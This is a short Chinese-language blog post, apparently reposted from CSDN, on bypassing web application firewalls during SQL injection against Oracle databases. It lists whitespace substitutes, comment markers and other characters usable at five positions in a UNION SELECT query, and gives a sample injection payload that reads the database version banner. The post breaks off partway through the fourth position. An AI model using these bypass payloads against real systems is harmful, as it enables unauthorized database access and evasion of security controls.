oracle waf绕过-WAF Bypass技巧(3)

我们经常利用一些数据库特性来进行WAF绕过。在Oracle中,比如可以这样
空白字符: %00
获取数据库版本: SELECT banner FROM v$version where rownum=1
相比于Mysgl/MSsql,它的特性相对较少,但确有其特殊之处,比如空白字符可以用%00替代,一个获取数据库版本的语句就这么长。一起去探索一下Oracle数据库特性,挖掘能够绕过WAF防护的数据库特性。

常见有5个位置即: SELECT* FROM admin WHERE username = 1[位置-] union[位置二] select [位置三)1,user()[位置四]from[位置五] admin
位置一: 参数和union之间的位置
1)空白字符
Oracle中可以利用的空白字符有: %00 %09 %0a %0b %0c %0d %20
2)注释符号/**/
3)其他字符
%2e.点号
位置二: union和select之间的位置
1)空白字符
Oracle中可以利用的空白字符有: %00 %09 %0a %0b %0c %0d %202)注释符号/**/

2)注释符号/**/
位置三: select和查询参数之间的位置
1)空白字符
Oracle中可以利用的空白字符有: %00 %09 %0a %0b %0c %0d %20
2)注释符号/**/
3)其他字符
%2b +
%2d -
%ad
select * from emp where mgr=7782 union select+NULL,(SELECT banner FROM v$version whererownum=1),NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL

位置四: 查询参数和from之间的位置
1)空白

猜你喜欢

转载自blog.csdn.net/luozhonghua2014/article/details/131102427